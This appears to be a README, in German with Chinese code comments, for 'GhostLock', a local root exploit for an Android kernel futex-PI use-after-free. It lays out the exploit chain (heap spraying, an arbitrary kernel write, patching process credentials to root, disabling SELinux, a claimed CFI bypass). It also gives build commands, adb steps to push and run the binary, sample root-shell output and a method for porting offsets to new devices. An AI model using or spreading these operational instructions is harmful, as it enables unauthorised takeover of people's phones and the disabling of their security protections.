GhostLock - CVE-2026-43499 Lokaler Privilege-Escalation-Exploit

Schwachstellenübersicht

CVE-ID: CVE-2026-43499
Schwachstellentyp: futex-PI (Prioritätsvererbung) Stack-UAF (Use-After-Free)
Betroffene Systeme: Linux-Kernel 6.1 ~ 6.12 (Android GKI)
Auswirkung: Lokale Privilege-Escalation + Deaktivierung von SELinux, Root-Shell wird erlangt

Funktionsweise

Schwachstellen-Triggerpfad

用户空间 → pselect() → 内核栈上分配 rt_mutex_waiter
                      → futex PI 操作触发 waiter 释放
                      → 释放后的 waiter 内存被 fd_set 操作重用
                      → 通过精心构造的 fd_set 数据控制 waiter 字段
                      → rb_erase() 触发任意内核内存写入

Exploit-Kette

1. Schwachstellen-Trigger: Durch die Race-Bedingung von pselect() + futex-PI wird der rt_mutex_waiter auf dem Kernel-Stack freigegeben
2. Speicherlayout-Kontrolle: Heapsprühen (Spraying) mit pipe_buffer, um einen gefälschten rt_mutex_waiter zu konstruieren
3. Beliebiges Schreiben: Mithilfe der Baumoperation von rb_erase() wird ein kontrollierter Zeiger an die Zieladresse geschrieben
4. Privilege-Escalation-Pfad:
   • Ändern der cred-Struktur: uid/gid → 0, Capabilities → alle aktiviert
   • Deaktivieren von SELinux: selinux_state.enforcing → 0
5. Verifizierung: Erneutes Scannen von ashmem_fops, um die CFI-Integrität zu bestätigen

Projektstruktur

GhostLock/
├── README.md                    # 本文档
├── src/
│   ├── core/                    # 核心利用代码
│   │   ├── main.c               # 主入口，漏洞触发
│   │   ├── pipe.c               # pipe_buffer 喷射
│   │   ├── fops.c               # 文件操作劫持
│   │   ├── root.c               # 提权 + SELinux 禁用
│   │   ├── slide.c              # 内核地址随机化处理
│   │   ├── util.c               # 工具函数
│   │   ├── miniadb.c            # 迷你 ADB 服务器
│   │   ├── common.h             # 公共定义
│   │   ├── target.h             # 目标配置
│   │   ├── offset.h             # 偏移量包含
│   │   ├── runtime_offsets.h    # 运行时偏移表
│   │   └── kernelsnitch/        # 内核地址探测
│   │       ├── kernelsnitch.h
│   │       ├── futex_hash.h
│   │       ├── utils.h
│   │       └── timeutils.h
│   └── devices/                 # 设备适配
│       ├── offsets.h            # 偏移量结构定义
│       ├── findx8/              # OPPO Find X8
│       │   └── offsets.h
│       ├── ace6t/               # OnePlus Ace 6T
│       │   └── offsets.h
│       ├── op15/                # OnePlus 15
│       │   └── offsets.h
│       ├── opd2502/             # OnePlus Pad 2
│       │   └── offsets.h
│       └── rmx5070/             # Realme RMX5070
│           └── offsets.h
├── tools/                       # 辅助工具
│   └── extract_btf.py           # BTF 偏移量提取脚本
├── btf_*.py                     # BTF 分析脚本集合
├── Makefile                     # 构建脚本
├── compile.cmd                  # Windows 编译脚本
├── build.rsp                    # 编译响应文件
└── ghostlock                    # 编译产物（ELF aarch64）

Unterstützte Geräte

Kompilierung

Umgebungsanforderungen

• Android NDK r27c oder höher
• Python 3.x (für die BTF-Analyse)
• Linux/macOS/WSL (Linux empfohlen)

Kompilierungsschritte

# 1. 设置 NDK 路径
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. 编译
make

# 3. 或者直接使用 NDK 编译
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock

Windows-Kompilierung

# 使用提供的 compile.cmd
compile.cmd

Verwendung

Voraussetzungen

1. Auf dem Gerät ist USB-Debugging aktiviert
2. Auf dem Computer sind ADB-Treiber installiert
3. Das Gerät ist per USB mit dem Computer verbunden

Schritte

# 1. 确认设备连接
adb devices

# 2. 确认内核版本（必须匹配）
adb shell uname -r
# 期望输出: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. 推送 exploit 到手机
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. 运行 exploit
adb shell /data/local/tmp/ghostlock

Beispiel für die Ausgabe

[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...

Erfolgsindikatoren

• Es erscheint eine #-Eingabeaufforderung (Root-Shell)
• Der Befehl id zeigt uid=0(root) an
• getenforce gibt Permissive zurück

Technische Details

Kernel-Speicherlayout

KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)

Wichtige Symbol-Offsets (Find X8)

Struktur-Offsets (BTF-verifiziert)

Exploit-Pfad

1. kernelsnitch - Scannt den direct_map-Bereich, um mm_struct zu lokalisieren
2. pipe spray - Belegt den freigegebenen Waiter-Speicher mit pipe_buffer
3. pselect trigger - Löst die UAF aus und verwendet den freigegebenen Waiter erneut
4. rb_erase write - Realisiert über die Rot-Schwarz-Baum-Operation beliebiges Schreiben
5. cred patch - Ändert die Berechtigungsnachweise des aktuellen Prozesses
6. SELinux disable - Deaktiviert die obligatorische Zugriffskontrolle

Geräteanpassung

Hinzufügen eines neuen Geräts

1. Kernel-Image extrahieren:
   root@kitploit:~

   # 从手机提取 boot.img
   adb pull /dev/block/by-name/boot boot.img
   
   # 或者从固件包中提取
   

2. kallsyms extrahieren:
   root@kitploit:~

   # 使用 vmlinux-to-elf
   python3 -m vmlinux_to_elf boot.img
   # 选择 "Extract kallsyms" 选项
   

3. BTF-Informationen extrahieren:
   root@kitploit:~

   python3 btf_task2.py > task_full.txt
   python3 btf_structs2.py > structs.txt
   

4. Geräteeintrag erstellen:
   root@kitploit:~

   mkdir -p src/devices/mydevice
   # 复制现有条目作为模板
   cp src/devices/findx8/offsets.h src/devices/mydevice/
   # 修改偏移量
   

5. Gerät registrieren: Fügen Sie in src/devices/offsets.h Folgendes hinzu:
   root@kitploit:~

   #include "mydevice/offsets.h"
   

Methoden zur Ermittlung der Offsets

Hilfsskripte

BTF-Analyse-Skripte

# 提取 task_struct 完整成员
python3 btf_task2.py > task_full.txt

# 提取所有关键结构体
python3 btf_structs2.py > structs.txt

# 提取特定结构体
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt

# 提取原始 BTF 数据
python3 btf_raw.py > raw.txt

kallsyms-Extraktion

# 使用 vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin

# 或者使用自定义脚本
python3 run_kallsyms_finder.py

Sicherheitshinweis

⚠️ Warnung: Dieses Tool ist ausschließlich für Sicherheitsforschung und autorisierte Tests bestimmt. Die unbefugte Verwendung auf Geräten anderer Personen ist illegal.

Bekannte Einschränkungen

• USB-Debugging muss aktiviert sein
• Eine ADB-Verbindung ist erforderlich (keine Remote-Ausnutzung möglich)
• Die Kernel-Version muss exakt übereinstimmen
• Einige Geräte können zusätzliche Sicherheitsmechanismen besitzen

CFI-Schutz

Dieser Exploit kann den Control-Flow-Integrity-Schutz (CFI) des Kernels wie folgt umgehen:

1. Überprüfung der Gültigkeit der ashmem_fops-Adresse
2. Verwendung von copy_splice_read als legitimes Aufrufziel
3. Erneutes Scannen zur Bestätigung der CFI-Integrität

Debugging

Häufige Fragen

F: "no offsets for kernel: xxx" wird angezeigt A: Die Kernel-Version wird nicht unterstützt; es muss ein Geräteeintrag hinzugefügt werden

F: Der Exploit bleibt hängen A: Möglicherweise ist die Race-Condition fehlgeschlagen; versuchen Sie es einige Male erneut

F: Es tritt ein Kernel-Panic auf A: Eher unwahrscheinlich (panic_on_oops ist nicht gesetzt); Sie können jedoch dmesg prüfen

Debug-Ausgabe

# 启用详细输出
adb shell /data/local/tmp/ghostlock -v

# 查看内核日志
adb shell dmesg | tail -50

Weitere Ressourcen

• CVE-2026-43499 Details
• GhostLock Originalforschung
• Android GKI-Kernel

Lizenz

Dieses Projekt steht unter der MIT-Lizenz.

Danksagungen

• Dank an alle Sicherheitsforscher für ihre Beiträge
• Dank an das Android-Sicherheitsteam für die Reaktion
• Dank an die Open-Source-Community für die Unterstützung

Letzte Aktualisierung: 13. August 2026
Autor: wzh
Kontakt: [email protected]